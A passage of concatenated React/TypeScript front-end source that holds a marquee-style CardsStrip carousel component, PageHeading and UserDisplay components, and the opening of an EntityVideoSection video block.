React.ReactNode;\n  children?: never;\n  cardWidthDesktop?: never;\n  cardWidthMobile?: never;\n}\n\n/** MODE B — children (organic): ANY card components, zero registration. */\ninterface ChildrenMode {\n  children: React.ReactNode;\n  /** Managed cell width in px per breakpoint (Figma: 400 desktop). */\n  cardWidthDesktop?: number;\n  cardWidthMobile?: number;\n  items?: never;\n  itemKey?: never;\n  renderCard?: never;\n}\n\nexport type CardsStripProps<T = unknown> = CardsStripEngineProps & (RenderCardMode<T> | ChildrenMode);\n\n// =============================================================================\n// Constants\n// =============================================================================\n\n// Gap between cards (px) — keep in sync with the track's `gap-4`.\nconst TRACK_GAP_PX = 16;\n// Marquee suppression windows after manual interaction.\nconst CHEVRON_SUPPRESS_MS = 4000;\nconst USER_SCROLL_SUPPRESS_MS = 3000;\n\n/** Single source for the strip cell width cap (shared with <VideoBiteCard>). */\nexport const STRIP_CELL_MAX_WIDTH = '90vw';\n\nconst EMPTY_CHILDREN: ReadonlyArray<React.ReactNode> = [];\n\n// =============================================================================\n// Children-mode managed cell\n// =============================================================================\n\n// (Clone focus suppression lives in hooks/ui/use-suppress-clone-focus — shared\n// with <MarqueeWall>, which renders the same 2-copy endless-loop structure.)\n\n/**\n * Children-mode cell: fixed width + hover/keyboard activation (wired here, never\n * on the card — the single-place activation invariant). The OUTER cell is never\n * inert/aria-hidden — an inert cell would retarget its pointer events to the\n * track and defeat the clone hover-pause; the INNER wrapper carries the clone\n * a11y treatment.\n */\nfunction ManagedCell({\n  item,\n  ctx,\n  cardWidthMobile,\n  cardWidthDesktop,\n}: {\n  item: unknown;\n  ctx: CardStripRenderCtx;\n  cardWidthMobile: number;\n  cardWidthDesktop: number;\n}) {\n  // Per-child DESKTOP cell-width hint: heterogeneous card designs need\n  // heterogeneous cells (wide horizontal cards vs 400px vertical cards —\n  // variable widths are native to the engine, exactly like bite ratios). Read\n  // from the child ELEMENT's `data-strip-cell-width` prop; mobile keeps the\n  // strip-level width (wide cards stack vertically below md anyway).\n  const hintedWidth = React.isValidElement(item)\n    ? (item.props as Record<string, unknown>)['data-strip-cell-width']\n    : undefined;\n  const desktopWidth = typeof hintedWidth === 'number' ? hintedWidth : cardWidthDesktop;\n  const cloneRef = useSuppressCloneFocus(ctx.isClone);\n  return (\n    <div\n      className=\"shrink-0 self-stretch\"\n      style={{ width: ctx.isMobile ? cardWidthMobile : desktopWidth, maxWidth: STRIP_CELL_MAX_WIDTH }}\n      data-strip-card-key={ctx.cardKey}\n      onPointerEnter={ctx.isTouch ? undefined : () => ctx.onActivate(ctx.cardKey)}\n      onPointerLeave={ctx.isTouch ? undefined : () => ctx.onDeactivate(ctx.cardKey)}\n      // Keyboard pause parity (focus bubbles from the card's anchor; WCAG 2.2.2).\n      onFocus={() => ctx.onActivate(ctx.cardKey)}\n      onBlur={e => {\n        // Intra-cell focus moves must not blip the pause off.\n        if (e.currentTarget.contains(e.relatedTarget as Node | null)) return;\n        ctx.onDeactivate(ctx.cardKey);\n      }}\n    >\n      {/* INNER: clone a11y — `aria-hidden` + focusable descendants forced out of\n          the tab order (useSuppressCloneFocus), but pointer events preserved so\n          a visible clone card stays clickable. Cards untouched. */}\n      <div\n        ref={cloneRef}\n        className=\"h-full [&>*]:h-full [&>a>*]:h-full\"\n        aria-hidden={ctx.isClone || undefined}\n      >\n        {item as React.ReactNode}\n      </div>\n    </div>\n  );\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\nexport function CardsStrip<T = unknown>(props: CardsStripProps<T>): React.ReactElement | null {\n  const {\n    title,\n    showTitle = true,\n    headerSlot,\n    autoScroll = true,\n    autoScrollSpeed = 60,\n    pauseOnHover = true,\n    showChevrons = true,\n    prevLabel = 'Previous items',\n    nextLabel = 'Next items',\n    rootRef,\n    className,\n  } = props;\n\n  // ---- input-mode normalization ---------------------------------------------\n  // Children mode feeds the SAME engine path as render-prop mode — one\n  // track/clone/measure/scroll implementation. Engine internals operate on the\n  // erased item type (`unknown`); the only assertions live at this seam.\n  const childrenMode = props.renderCard === undefined;\n  const childItems = useMemo(\n    () => (childrenMode ? React.Children.toArray(props.children) : EMPTY_CHILDREN),\n    [childrenMode, props.children],\n  );\n  const items: ReadonlyArray<unknown> = childrenMode ? childItems : props.items;\n  const cardWidthDesktop = childrenMode ? (props.cardWidthDesktop ?? 400) : 0;\n  const cardWidthMobile = childrenMode ? (props.cardWidthMobile ?? 320) : 0;\n\n  useEffect(() => {\n    if (process.env.NODE_ENV === 'production' || !childrenMode) return;\n    const only = childItems.length === 1 ? childItems[0] : null;\n    if (React.isValidElement(only) && only.type === React.Fragment) {\n      console.warn(\n        '[CardsStrip] A single <Fragment> child becomes ONE giant cell — pass an array of card elements ({rows.map(...)}) instead.',\n      );\n    }\n  }, [childrenMode, childItems]);\n\n  const getItemKey = (item: unknown, index: number): string => {\n    if (!childrenMode) {\n      // Seam assertion: T is erased inside the engine; the props union\n      // guarantees itemKey matches the items array.\n      return (props.itemKey as (item: unknown, index: number) => string)(item, index);\n    }\n    // Children.toArray always assigns element keys ('.0' / '.$slug' — stable\n    // across renders); explicit null-check because `&&`/`??` chaining yields\n    // the string \"false\" for non-element children (same isValidElement guard\n    // as steps.tsx).\n    return React.isValidElement(item) && item.key != null ? String(item.key) : String(index);\n  };\n\n  const wrapperRef = useRef<HTMLDivElement | null>(null);\n  const scrollerRef = useRef<HTMLDivElement | null>(null);\n  const trackRef = useRef<HTMLDivElement | null>(null);\n\n  // ---- environment ----------------------------------------------------------\n  const [reducedMotion, setReducedMotion] = useState(false);\n  const [isTouch, setIsTouch] = useState(false);\n  const [isMobile, setIsMobile] = useState(false);\n  useEffect(() => {\n    const subs: Array<() => void> = [];\n    const watch = (query: string, set: (v: boolean) => void) => {\n      const mq = window.matchMedia(query);\n      set(mq.matches);\n      const onChange = (e: MediaQueryListEvent) => set(e.matches);\n      mq.addEventListener('change', onChange);\n      subs.push(() => mq.removeEventListener('change', onChange));\n    };\n    watch('(prefers-reduced-motion: reduce)', setReducedMotion);\n    watch('(hover: none)', setIsTouch);\n    watch('(max-width: 767px)', setIsMobile);\n    return () => subs.forEach(fn => fn());\n  }, []);\n\n  // ---- overflow measurement ---------------------------------------------------\n  // TWO overflow states on purpose: `overflows` (any real overflow) gates\n  // chevrons — a strip clipping even a few px must stay navigable —\n  // while `marqueeEligible` (overflow beyond the joining gap) additionally\n  // gates cloning + rAF: the cloned track's physical maxScroll is\n  // 2·copy − gap − viewport, so a copy overflowing by less than the gap\n  // makes even the zero-buffer wrap range [0, copy) unreachable — the\n  // engine would clamp at the track end and freeze. Razor-thin overflow\n  // (≤16px) stays a static, chevron-navigable row instead.\n  const [overflows, setOverflows] = useState(false);\n  const [marqueeEligible, setMarqueeEligible] = useState(false);\n  const singleCopyWidthRef = useRef(0);\n  const marqueeActive = autoScroll && !reducedMotion && marqueeEligible && items.length > 0;\n\n  const measure = useCallback(() => {\n    const scroller = scrollerRef.current;\n    const track = trackRef.current;\n    if (!scroller || !track) return;\n    // When clones are rendered the track is 2× one copy (+ one joining gap).\n    const copies = track.dataset.copies === '2' ? 2 : 1;\n    const singleCopy = copies === 2 ? (track.scrollWidth - TRACK_GAP_PX) / 2 + TRACK_GAP_PX : track.scrollWidth;\n    singleCopyWidthRef.current = singleCopy;\n    setOverflows(singleCopy > scroller.clientWidth + 1);\n    setMarqueeEligible(singleCopy > scroller.clientWidth + TRACK_GAP_PX);\n  }, []);\n\n  useEffect(() => {\n    measure();\n    const scroller = scrollerRef.current;\n    const track = trackRef.current;\n    if (!scroller || !track || typeof ResizeObserver === 'undefined') return;\n    const ro = new ResizeObserver(measure);\n    ro.observe(scroller);\n    ro.observe(track);\n    return () => ro.disconnect();\n  }, [measure, items.length, marqueeActive, isMobile]);\n\n  // ---- pause-reason set + suppress timestamps ---------------------------------\n  // (Card hover — the only hover-based pause reason — lives in activeKeyRef below.)\n  const chevronSuppressUntilRef = useRef(0);\n  const userScrollSuppressUntilRef = useRef(0);\n\n  // Two-way viewport gate (unlike the fire-once `useNearViewport`): STATE,\n  // not a pause reason — it gates the engine's `active` so the rAF fully\n  // stops while the strip is far off-screen (a paused engine would keep\n  // scheduling frames forever), and because the velocity envelope persists\n  // across engine restarts, scrolling back resumes at cruise speed instantly.\n  const [nearViewport, setNearViewport] = useState(true);\n  useEffect(() => {\n    const el = wrapperRef.current;\n    if (!el || typeof IntersectionObserver === 'undefined') return;\n    const io = new IntersectionObserver(\n      entries => setNearViewport(entries[0]?.isIntersecting ?? true),\n      { rootMargin: '200px' },\n    );\n    io.observe(el);\n    return () => io.disconnect();\n  }, []);\n\n  // ---- hover / overlay state -----------------------------------------------------\n  // activeKey identifies the hovered/tap-activated CARD (copy-aware so hovering\n  // a clone near the wrap seam works too). It only drives per-card `active`\n  // state — any heavier behavior (players, overlays) is the card's concern.\n  const [activeKey, setActiveKey] = useState<string | null>(null);\n  // Ref mirror for the rAF loop: the marquee pauses ONLY while a CARD is\n  // hovered (activeKey set) — hovering strip whitespace/heading does not\n  // pause, and leaving a card resumes immediately.\n  const activeKeyRef = useRef<string | null>(null);\n  const activate = useCallback((key: string) => {\n    activeKeyRef.current = key;\n    setActiveKey(key);\n  }, []);\n  const deactivate = useCallback((key: string) => {\n    // Ref write hoisted OUT of the state updater: React re-invokes queued\n    // updaters at render time, so an impure updater could re-null the ref\n    // AFTER a same-batch activate(B) already set it (leave(A)+enter(B) in one\n    // dispatch when the pointer jumps directly between cells) — stranding the\n    // rAF pause check while a card is visibly hovered.\n    if (activeKeyRef.current === key) activeKeyRef.current = null;\n    setActiveKey(current => (current === key ? null : current));\n  }, []);\n\n  // ---- container-level hover pause + pointer-tracked activation sync ---------\n  // TWO separate concerns, deliberately decoupled (matches how production\n  // marquees — react-fast-marquee, GSAP — behave):\n  //\n  // 1. MARQUEE PAUSE is container-level: `hoverPointerRef.inside` is true\n  //    whenever a hover-capable pointer is over the SCROLLER (the cards row).\n  //    The rAF freezes on it, so content NEVER auto-moves under a pointing\n  //    cursor — which is what made per-card boundary pausing feel flaky\n  //    (cards sliding under/away from a stationary pointer don't emit\n  //    pointerenter/leave, gaps caused stutter-steps, seam warps swapped the\n  //    hovered card's identity mid-playback).\n  //\n  // 2. CARD ACTIVATION (overlay + video playback) stays per-card: the card/\n  //    cell pointer handlers are the zero-latency path, and the\n  //    elementFromPoint sync below re-resolves the card under the pointer\n  //    whenever the track moves WHILE the pointer is inside (user wheel\n  //    scroll, chevron glide, seam warp) — scoped to THIS strip's scroller so\n  //    stacked strips can never activate/pause each other.\n  const hoverPointerRef = useRef<{ x: number; y: number; inside: boolean }>({ x: 0, y: 0, inside: false });\n  const lastHoverSyncScrollRef = useRef(-1);\n  const syncHoverToPointer = useCallback(() => {\n    const p = hoverPointerRef.current;\n    if (!p.inside) return;\n    const el = typeof document !== 'undefined' ? document.elementFromPoint(p.x, p.y) : null;\n    const cardEl = el?.closest?.('[data-strip-card-key]') as HTMLElement | null;\n    // Strip-scoped: a card from ANOTHER CardsStrip under the tracked point\n    // must read as \"no card here\" (stacked strips share the viewport).\n    const scoped = cardEl && scrollerRef.current?.contains(cardEl) ? cardEl : null;\n    const key = scoped?.getAttribute('data-strip-card-key') ?? null;\n    const current = activeKeyRef.current;\n    if (key === current) return;\n    if (current !== null) deactivate(current);\n    if (key !== null) activate(key);\n  }, [activate, deactivate]);\n  // Hover-capable pointers only (mouse/pen) — touch drags must not fake hover.\n  const onHoverPointerEnter = useCallback((e: React.PointerEvent) => {\n    if (e.pointerType === 'touch') return;\n    hoverPointerRef.current = { x: e.clientX, y: e.clientY, inside: true };\n  }, []);\n  const onHoverPointerMove = useCallback((e: React.PointerEvent) => {\n    if (e.pointerType === 'touch') return;\n    hoverPointerRef.current = { x: e.clientX, y: e.clientY, inside: true };\n  }, []);\n  const onHoverPointerLeave = useCallback((e: React.PointerEvent) => {\n    if (e.pointerType === 'touch') return;\n    hoverPointerRef.current.inside = false;\n    // The pointer left the whole scroller — no card can be hovered anymore\n    // (covers leave events swallowed by DOM churn under the cursor).\n    const current = activeKeyRef.current;\n    if (current !== null) deactivate(current);\n  }, [deactivate]);\n  // Unconditional hover-clear (any pointer type) — the self-heal for a MISSED\n  // `pointerleave`. A leave can be swallowed by a tab blur, an interrupted\n  // pointer (pointercancel), or an overlay mounting under the cursor, leaving\n  // `inside` stuck true so the marquee freezes FOREVER (\"gets stuck every once\n  // in a while\"). Reset it on pointercancel + whenever the tab hides / the\n  // window loses focus; the next real hover re-arms it. Can only un-stick.\n  const clearHover = useCallback(() => {\n    hoverPointerRef.current.inside = false;\n    const current = activeKeyRef.current;\n    if (current !== null) deactivate(current);\n  }, [deactivate]);\n  // Shared SSOT self-heal: un-stick the hover flag whenever the tab hides / the\n  // window loses focus (a `pointerleave`/`pointercancel` can be swallowed).\n  useResetOnPageHidden(clearHover);\n  /** Re-sync hover only when the track actually moved under the pointer.\n   *  KNOWN HOT-PATH COST (intentional): while the marquee runs with the\n   *  pointer parked over strip whitespace (no card → not paused), scrollLeft\n   *  changes every frame, so this invokes `document.elementFromPoint` ~60×/s\n   *  — a synchronous hit-test. It's inherent to detecting a card sliding\n   *  under a stationary cursor; any throttle trades hover latency for it.\n   *  Revisit only if profiling flags it on pages with many stacked strips. */\n  const syncHoverIfScrolled = useCallback(() => {\n    const scroller = scrollerRef.current;\n    if (!scroller) return;\n    if (scroller.scrollLeft === lastHoverSyncScrollRef.current) return;\n    lastHoverSyncScrollRef.current = scroller.scrollLeft;\n    syncHoverToPointer();\n  }, [syncHoverToPointer]);\n\n  // ---- marquee rAF engine (shared core) ---------------------------------------\n  // Position/envelope/wrap/glide live in `useMarqueeEngine` — THE marquee\n  // animation, shared with <MarqueeWall> (quick-action walls, chip marquees).\n  // CardsStrip contributes the scroller driver (apply/readBack on scrollLeft:\n  // the user can also drag this surface) and its pause-reason set: container-\n  // level hover (industry-standard — content must never move under a pointing\n  // cursor; per-card activeKey still pauses for keyboard focus), hidden tab,\n  // and the chevron / user-scroll suppress windows. Chevron GLIDE\n  // runs through the engine too: browser `scrollBy({behavior:'smooth'})`\n  // animates toward an ABSOLUTE target, so a seam warp mid-animation made it\n  // lunge a full copy-width to catch up, warp again, and oscillate.\n  // Seam-warp BUFFER: the re-center zones sit this far inside the physical\n  // track edges. An exact-edge check (`scrollLeft <= 0`) is racy against the\n  // engine — the rAF nudges the scroller off 0 before the scroll handler\n  // samples it, so a user scrolling left \"sticks\" 1–2px from the edge and\n  // the loop never wraps. The engine's wrap range is aligned to\n  // [buffer, buffer + copy) so engine-written positions can never enter a\n  // zone and ping-pong with the handler. The buffer is ALSO capped by the\n  // physical slack (copy − viewport − gap): the range's upper end\n  // buffer + copy must stay reachable below maxScroll = 2·copy − gap −\n  // viewport, or a barely-overflowing strip clamps at the track end and the\n  // wrap threshold is never crossed — a permanently frozen marquee.\n  const seamBuffer = useCallback(() => {\n    const half = singleCopyWidthRef.current;\n    const viewport = scrollerRef.current?.clientWidth ?? 0;\n    return Math.max(0, Math.min(200, half / 4, half - viewport - TRACK_GAP_PX - 1));\n  }, []);\n\n  const { posRef: marqueePosRef, glideBy } = useMarqueeEngine({\n    // Viewport gates `active` (the rAF fully stops off-screen — a paused\n    // engine would keep scheduling frames forever), same treatment as\n    // <MarqueeWall>; the envelope persists, so re-entry resumes at cruise.\n    active: marqueeActive && nearViewport,\n    speed: autoScrollSpeed,\n    isPaused: now =>\n      (pauseOnHover && (hoverPointerRef.current.inside || activeKeyRef.current !== null)) ||\n      document.visibilityState === 'hidden' ||\n      now < Math.max(chevronSuppressUntilRef.current, userScrollSuppressUntilRef.current),\n    getWrapSize: () => singleCopyWidthRef.current,\n    getWrapMin: seamBuffer,\n    apply: pos => {\n      const scroller = scrollerRef.current;\n      if (scroller) scroller.scrollLeft = pos;\n    },\n    readBack: () => scrollerRef.current?.scrollLeft ?? 0,\n    onAfterFrame: syncHoverIfScrolled,\n  });\n\n  // ---- shared card-mount gate (by ITEM index, across both copies) -------------\n  // A card and its clone show identical content half a copy-width apart. If\n  // each card gated its own expensive content (e.g. video players), a seam warp\n  // instantly swapped the visible copy for cards whose content was NOT mounted\n  // yet — every wrap crossing flashed placeholders. Mounting by INDEX (near in\n  // EITHER copy → both copies mount) makes the warp pixel-identical. Opt-in:\n  // cards that never register via ctx.rootRef incur no per-card observation.\n  const [mountedIdx, setMountedIdx] = useState<ReadonlySet<number>>(() => new Set());\n  const cardObserverRef = useRef<IntersectionObserver | null>(null);\n  const cardElIdxRef = useRef(new Map<Element, number>());\n  const cardElNearRef = useRef(new Map<Element, boolean>());\n  useEffect(() => {\n    if (typeof IntersectionObserver === 'undefined') return;\n    const io = new IntersectionObserver(entries => {\n      for (const e of entries) cardElNearRef.current.set(e.target, e.isIntersecting);\n      const next = new Set<number>();\n      cardElNearRef.current.forEach((near, el) => {\n        if (!near) return;\n        const idx = cardElIdxRef.current.get(el);\n        if (idx !== undefined) next.add(idx);\n      });\n      setMountedIdx(prev => {\n        if (prev.size === next.size) {\n          let same = true;\n          next.forEach(i => { if (!prev.has(i)) same = false; });\n          if (same) return prev;\n        }\n        return next;\n      });\n    }, { rootMargin: NEAR_VIEWPORT_ROOT_MARGIN });\n    cardObserverRef.current = io;\n    cardElIdxRef.current.forEach((_idx, el) => io.observe(el));\n    return () => { io.disconnect(); cardObserverRef.current = null; };\n  }, []);\n  // Stable per-index ref callbacks (a fresh closure per render would detach/\n  // re-attach the observer every render). React 19 ref-cleanup unregisters.\n  const cardRefFnsRef = useRef(new Map<number, (el: HTMLDivElement | null) => (() => void) | undefined>());\n  const getCardRef = useCallback((idx: number) => {\n    let fn = cardRefFnsRef.current.get(idx);\n    if (!fn) {\n      fn = (el: HTMLDivElement | null) => {\n        if (!el) return undefined;\n        cardElIdxRef.current.set(el, idx);\n        cardObserverRef.current?.observe(el);\n        return () => {\n          cardElIdxRef.current.delete(el);\n          cardElNearRef.current.delete(el);\n          cardObserverRef.current?.unobserve(el);\n        };\n      };\n      cardRefFnsRef.current.set(idx, fn);\n    }\n    return fn;\n  }, []);\n\n  // ---- manual navigation -----------------------------------------------------------\n  const scrollByCard = useCallback((dir: 1 | -1) => {\n    const scroller = scrollerRef.current;\n    const track = trackRef.current;\n    if (!scroller || !track) return;\n    const firstCard = track.firstElementChild as HTMLElement | null;\n    const step = (firstCard?.offsetWidth ?? 320) + TRACK_GAP_PX;\n    chevronSuppressUntilRef.current = performance.now() + CHEVRON_SUPPRESS_MS;\n    if (marqueeActiveRef.current) {\n      // Wrap-aware glide via the rAF engine (see engine comment) — clicks\n      // accumulate distance instead of racing browser smooth-scroll targets.\n      glideBy(dir * step);\n    } else {\n      // No clones/seam without the marquee — native smooth scroll is safe.\n      scroller.scrollBy({ left: dir * step, behavior: 'smooth' });\n    }\n  }, [glideBy]);\n\n  const onUserScrollIntent = useCallback(() => {\n    userScrollSuppressUntilRef.current = performance.now() + USER_SCROLL_SUPPRESS_MS;\n  }, []);\n  // Suppress ONLY on genuine horizontal-scroll intent. Vertical page-scroll\n  // wheel events over the strip and plain clicks (pointerdown) used to arm the\n  // 3s suppression — the \"marquee resumes only after a delay\" bug.\n  const onWheelIntent = useCallback((e: React.WheelEvent) => {\n    if (Math.abs(e.deltaX) > Math.abs(e.deltaY)) onUserScrollIntent();\n  }, [onUserScrollIntent]);\n  const onPointerDownIntent = useCallback((e: React.PointerEvent) => {\n    if (e.pointerType === 'touch') onUserScrollIntent();\n  }, [onUserScrollIntent]);\n\n  // Never-ending strip: re-center across the clone seam on EVERY scroll\n  // (manual wheel/drag/chevron included — the rAF only wraps while the\n  // marquee runs, so without this a user scrolling during a pause/suppress\n  // window hits the physical track edges). Both copies render identical\n  // content, so a ±half jump is pixel-invisible. ZONES, not exact edges:\n  // below `buffer` warp forward (+half, lands under half+buffer — outside\n  // the other zone, so the pair is hysteresis-stable), at/above\n  // half+buffer warp back (−half, lands at ≥buffer). The user can never\n  // reach a physical edge in either direction, and the racy \"observe\n  // exactly 0\" check that stuck leftward scrolling is gone. Initial rest at\n  // 0 warps once to `half` — pixel-identical, and it buys leftward headroom\n  // immediately.\n  const marqueeActiveRef = useRef(false);\n  marqueeActiveRef.current = marqueeActive;\n  const onSeamWarp = useCallback(() => {\n    const scroller = scrollerRef.current;\n    if (!scroller) return;\n    // Every scroll (native wheel/drag, smooth chevron scroll, marquee) moves\n    // cards under a possibly-stationary pointer — re-resolve hover regardless\n    // of marquee state (pointerenter/leave never fire for track motion).\n    syncHoverIfScrolled();\n    if (!marqueeActiveRef.current) return;\n    const half = singleCopyWidthRef.current;\n    if (half <= 0) return;\n    const buffer = seamBuffer();\n    let sl = scroller.scrollLeft;\n    if (sl >= half + buffer) {\n      sl -= half;\n      scroller.scrollLeft = sl;\n      marqueePosRef.current = sl;\n    } else if (sl < buffer) {\n      sl += half;\n      scroller.scrollLeft = sl;\n      marqueePosRef.current = sl;\n    }\n  }, [syncHoverIfScrolled, seamBuffer]);\n\n  // ---- render ----------------------------------------------------------------\n\n  const renderItem = (item: unknown, ctx: CardStripRenderCtx): React.ReactNode => {\n    if (!childrenMode) {\n      // Seam assertion (see normalization comment above).\n      return (props.renderCard as (item: unknown, ctx: CardStripRenderCtx) => React.ReactNode)(item, ctx);\n    }\n    // Managed cell — the ONLY place cell width / activation / clone a11y are\n    // encoded for children mode (extracted to a component so the clone\n    // focus-suppression hook can run per cell; see ManagedCell).\n    return (\n      <ManagedCell\n        item={item}\n        ctx={ctx}\n        cardWidthMobile={cardWidthMobile}\n        cardWidthDesktop={cardWidthDesktop}\n      />\n    );\n  };\n\n  if (items.length === 0) return null;\n\n  const copies = marqueeActive ? 2 : 1;\n\n  return (\n    <div\n      ref={node => { wrapperRef.current = node; rootRef?.(node); }}\n      className={cn('flex flex-col gap-6 w-full min-w-0', className)}\n    >\n      {showTitle && title && (\n        <h2 className={`${SECTION_HEADING_CLASS} break-words`}>{title}</h2>\n      )}\n      {headerSlot}\n\n      <div className=\"relative\">\n        <div\n          ref={scrollerRef}\n          className=\"overflow-x-auto [scrollbar-width:none] [&::-webkit-scrollbar]:hidden\"\n          onWheel={onWheelIntent}\n          onTouchStart={onUserScrollIntent}\n          onPointerDown={onPointerDownIntent}\n          onPointerEnter={onHoverPointerEnter}\n          onPointerMove={onHoverPointerMove}\n          onPointerLeave={onHoverPointerLeave}\n          onPointerCancel={clearHover}\n          onScroll={onSeamWarp}\n        >\n          <div ref={trackRef} data-copies={copies} className=\"flex w-max items-stretch gap-4\">\n            {Array.from({ length: copies }, (_, copyIndex) =>\n              items.map((item, i) => {\n                const key = `${getItemKey(item, i)}__${copyIndex}__${i}`;\n                const isClone = copyIndex === 1;\n                return (\n                  // Clone copy a11y (aria-hidden + no focusable descendants —\n                  // WCAG) is the card's job in render-prop mode (via\n                  // ctx.isClone) and the managed cell's job in children mode.\n                  // The engine itself adds no wrapper here in render-prop mode\n                  // so the card root stays the track's direct child.\n                  <React.Fragment key={key}>\n                    {renderItem(item, {\n                      index: i,\n                      cardKey: key,\n                      isClone,\n                      isTouch,\n                      isMobile,\n                      active: activeKey === key,\n                      onActivate: activate,\n                      onDeactivate: deactivate,\n                      mounted: mountedIdx.has(i),\n                      rootRef: getCardRef(i),\n                    })}\n                  </React.Fragment>\n                );\n              }),\n            )}\n          </div>\n        </div>\n\n        {showChevrons && overflows && (\n          <>\n            {/* Shared design-system Button: outline surface (ods-card + border,\n                the Figma button-icon look) + the square `icon` size, which owns\n                the centered 24px glyph. Icon-only → aria-label required. */}\n            <Button\n              type=\"button\"\n              variant=\"outline\"\n              size=\"icon\"\n              aria-label={prevLabel}\n              onClick={() => scrollByCard(-1)}\n              className=\"absolute left-2 top-1/2 -translate-y-1/2 z-10\"\n              leftIcon={<Chevron02LeftIcon />}\n            />\n            <Button\n              type=\"button\"\n              variant=\"outline\"\n              size=\"icon\"\n              aria-label={nextLabel}\n              onClick={() => scrollByCard(1)}\n              className=\"absolute right-2 top-1/2 -translate-y-1/2 z-10\"\n              leftIcon={<Chevron02RightIcon />}\n            />\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n","import type { ReactNode } from 'react'\n\n/**\n * THE page-title style — the ODS `text-h1` token (`--font-size-h1-title` =\n * 40 / 48 / 56px, Azeret Mono semibold), which already owns the responsive\n * letter-spacing (-0.02em). Mirrors the global `h1 { @apply text-h1 }` base, so\n * every page heading is the SAME size across the lib and every consuming app.\n *\n * Single source of truth — do NOT hardcode a px size or re-assert the token's\n * tracking; render `<PageHeading>` (or, for the rare non-h1 caller, apply\n * `PAGE_HEADING_CLASS`).\n */\nexport const PAGE_HEADING_CLASS = 'text-h1 text-ods-text-primary'\n\n/**\n * THE section-heading style — the ODS `text-h2` sub-title token\n * (`--font-size-h2-sub-title` = 24 / 32 / 32px), one step below the page\n * title so a section `<h2>`/`<h3>` is always visually distinguishable from\n * the page's `<h1>`. Same single-source rule as PAGE_HEADING_CLASS: never\n * hardcode a px ramp or re-assert the token's tracking on a section heading.\n */\nexport const SECTION_HEADING_CLASS = 'text-h2 text-ods-text-primary'\n\nconst DESCRIPTION_CLASS =\n  \"mt-6 max-w-[640px] font-body text-[16px] md:text-[18px] leading-[24px] md:leading-[28px] text-ods-text-secondary\"\n\nexport interface PageHeadingProps {\n  /** Heading content — plain text or nodes (e.g. an accent <span>). */\n  children: ReactNode\n  /**\n   * Heading level. Defaults to 'h1' (exactly one per page). Pass 'h2' where the\n   * page already renders an <h1> above (e.g. a hero/featured item).\n   */\n  as?: 'h1' | 'h2'\n  /** Optional supporting copy rendered as a <p> beneath the heading. */\n  description?: ReactNode\n  /** Extra classes merged onto the heading (margins, width, truncate, etc.). */\n  className?: string\n  /** Extra classes merged onto the description <p>. */\n  descriptionClassName?: string\n}\n\n/**\n * Unified page heading. Renders the canonical page-title <h1> (or <h2>) plus an\n * optional description, so every page shares one consistent style instead of\n * duplicating the class string. Layout (PageContainer, margins, surrounding\n * sections) stays with the caller — this owns only the heading + description.\n */\nexport function PageHeading({\n  children,\n  as: Tag = 'h1',\n  description,\n  className,\n  descriptionClassName,\n}: PageHeadingProps) {\n  const headingClass = className ? `${PAGE_HEADING_CLASS} ${className}` : PAGE_HEADING_CLASS\n  const descClass = descriptionClassName ? `${DESCRIPTION_CLASS} ${descriptionClassName}` : DESCRIPTION_CLASS\n  // `description` is a ReactNode, so `description={cond && '...'}` can pass a\n  // boolean `false` — exclude it (and empty string) so we never render an empty\n  // <p> that adds phantom vertical gap beneath the heading.\n  const hasDescription =\n    description != null && description !== '' && typeof description !== 'boolean'\n  return (\n    <>\n      <Tag className={headingClass}>{children}</Tag>\n      {hasDescription && <p className={descClass}>{description}</p>}\n    </>\n  )\n}\n","\"use client\";\n\nimport React from 'react';\nimport { cn } from \"../utils/cn\";\nimport { getProxiedImageUrl } from '../utils/image-proxy';\nimport { SquareAvatar } from './ui/square-avatar';\n\ninterface UserDisplayProps {\n  name: string;\n  avatarUrl?: string | null;\n  /** optional secondary text (e.g., relative timestamp) */\n  subtitle?: string | null;\n  /** Avatar size in px (defaults 32) */\n  size?: number;\n  /** Avatar corner treatment, forwarded to SquareAvatar. Default 'square'. */\n  shape?: 'square' | 'round';\n  /** Compact typography (14px/20px rows — video-bite overlay density). */\n  compact?: boolean;\n  className?: string;\n}\n\n/**\n * Reusable horizontal avatar + name (+ optional subtitle) row that follows\n * the visual pattern used in CommentCard headers.\n */\nexport function UserDisplay({ name, avatarUrl, subtitle, size = 32, shape = 'square', compact = false, className }: UserDisplayProps) {\n  return (\n    <div className={cn('flex items-center gap-2 min-w-0', className)}>\n      <SquareAvatar\n        src={avatarUrl ? getProxiedImageUrl(avatarUrl) || avatarUrl : undefined}\n        fallback={name}\n        alt={name}\n        sizePx={size}\n        variant={shape}\n      />\n      <div className=\"min-w-0 flex-1\">\n        <p className={cn(\n          \"text-ods-text-primary truncate\",\n          compact ? 'text-h6' : 'text-h4',\n        )}>\n          {name}\n        </p>\n        {subtitle && (\n          <span className={cn(\n            \"text-h6 text-ods-text-secondary truncate block\",\n          )}>\n            {subtitle}\n          </span>\n        )}\n      </div>\n    </div>\n  );\n} ","\"use client\";\n\nimport React, { ComponentType } from 'react';\nimport {\n  Tabs,\n  TabsList,\n  TabsTrigger,\n  TabsContent,\n} from '../ui/tabs';\nimport type { VideoTeaser } from '../../types/video-processing';\nimport { Video } from './video';\nimport { useCaptions } from './use-captions';\nimport { VideoBitesStrip, type VideoBiteStripItem } from './video-bites-strip';\nimport { DEFAULT_VIDEO_BITES_TITLE, type VideoBiteStripProfile } from './video-bites-shared';\nimport { SECTION_HEADING_CLASS } from '../layout/page-heading';\n\n/**\n * <EntityVideoSection> — public detail-page video block.\n *\n * Tabbed Full Video / Highlights when both exist, plus optional\n * markdown summary + video bites grid. The actual video rendering\n * (YouTube facade, Mux HLS, MP4 fallback) is delegated to `<Video>` —\n * the single source of truth.\n *\n * YouTube takes precedence over the uploaded video when both\n * `youtubeUrl` and `mainVideoUrl` are present. That precedence is\n * resolved here (in the section wrapper) rather than inside `<Video>`,\n * so the underlying primitive stays single-source-per-render.\n */\n\ninterface MarkdownRendererProps {\n  content: string;\n}\n\nexport interface EntityVideoSectionProps {\n  /** Main uploaded video URL. */\n  mainVideoUrl?: string | null;\n  /** YouTube URL (takes priority over `mainVideoUrl` for display). */\n  youtubeUrl?: string | null;\n  /** AI-generated highlight video URL. */\n  highlightVideoUrl?: string | null;\n  /** Thumbnail for highlight video. */\n  highlightVideoThumbnail?: string | null;\n  /** Poster/thumbnail for main video. */\n  mainVideoPoster?: string | null;\n  /** Title for YouTube embed. */\n  title?: string;\n  /** AI-generated video summary (markdown). */\n  videoSummary?: string | null;\n  /** Video 